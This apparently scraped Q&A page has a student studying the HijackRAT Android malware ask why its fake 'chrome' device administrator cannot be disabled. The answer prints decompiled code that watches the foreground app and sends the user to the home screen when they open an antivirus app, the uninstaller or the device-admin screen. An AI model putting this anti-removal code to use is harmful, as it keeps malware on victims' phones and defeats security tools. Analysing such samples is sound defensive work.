【问题标题】:android device administrators can not be disabled?android设备管理员不能禁用吗?
【发布时间】:2016-03-12 00:43:37
【问题描述】:

我目前正在研究一种安卓恶意软件“劫持老鼠”,作为我大学课程的一部分。此应用程序在名称“chrome”下创建设备管理员。问题是设备管理员无法禁用。当我点击它时,它会转到手机主页。

这个动作的代码是什么?

PS:这种行为(跳转到主屏幕)只发生在真实设备而不是模拟器中。在三星 Galaxy s4 kitkat 和 nexus 6 marshmallow 上测试。

你可以看到我制作的视频: https://www.youtube.com/watch?v=XAF5xEad-fU

apk 源: http://contagiominidump.blogspot.com/2015/06/androidoswrobax-hijackrat-android-sample.html

【问题讨论】:

  • 我找到了一段可能与此行为相关的代码,尽管我不能 100% 确定该行为不会在所有设备或 Android 版本上一直发生。 [链接](youtube.com/watch?v=t64_jXaRl_Q)

标签: android malware device-admin


【解决方案1】:
    this.timer.schedule(new TimerTask() {
        public void run() {
            new Handler(Plugin.this.service.getMainLooper()).post(new Runnable() {
                public void run() {
                    boolean kill;
                    String name = Plugin.getTopActivityName(Plugin.this.service);
                    if (name == null || !name.startsWith("com.estsoft.alyac.ui")) {
                        kill = false;
                    } else {
                        kill = true;
                    }
                    if (!kill) {
                        if (name == null || !name.contains("packageinstaller.UninstallerActivity")) {
                            kill = false;
                        } else {
                            kill = true;
                        }
                        if (kill) {
                            for (String pkg : Plugin.oldPackageList) {
                                if (Plugin.isAvilible(Plugin.this.service, pkg)) {
                                    kill = false;
                                    break;
                                }
                            }
                            if (kill && Plugin.isAvilible(Plugin.this.service, Plugin.V3_PACKAGE)) {
                                kill = false;
                            }
                        }
                    }
                    if (!kill) {
                        if (name == null || !name.contains(".DeviceAdminAdd")) {
                            kill = false;
                        } else {
                            kill = true;
                        }
                        boolean mdarEnabled = devicePref.getBoolean("mdar", false);
                        if (kill && !mdarEnabled) {
                            kill = false;
                        }
                    }
                    if (kill) {
                        Intent intent = new Intent("android.intent.action.MAIN");
                        intent.addCategory("android.intent.category.HOME");
                        intent.addFlags(268435456);
                        Plugin.this.service.startActivity(intent);
                    }
                }
            });
        }
    }, 2000, 200);

【讨论】: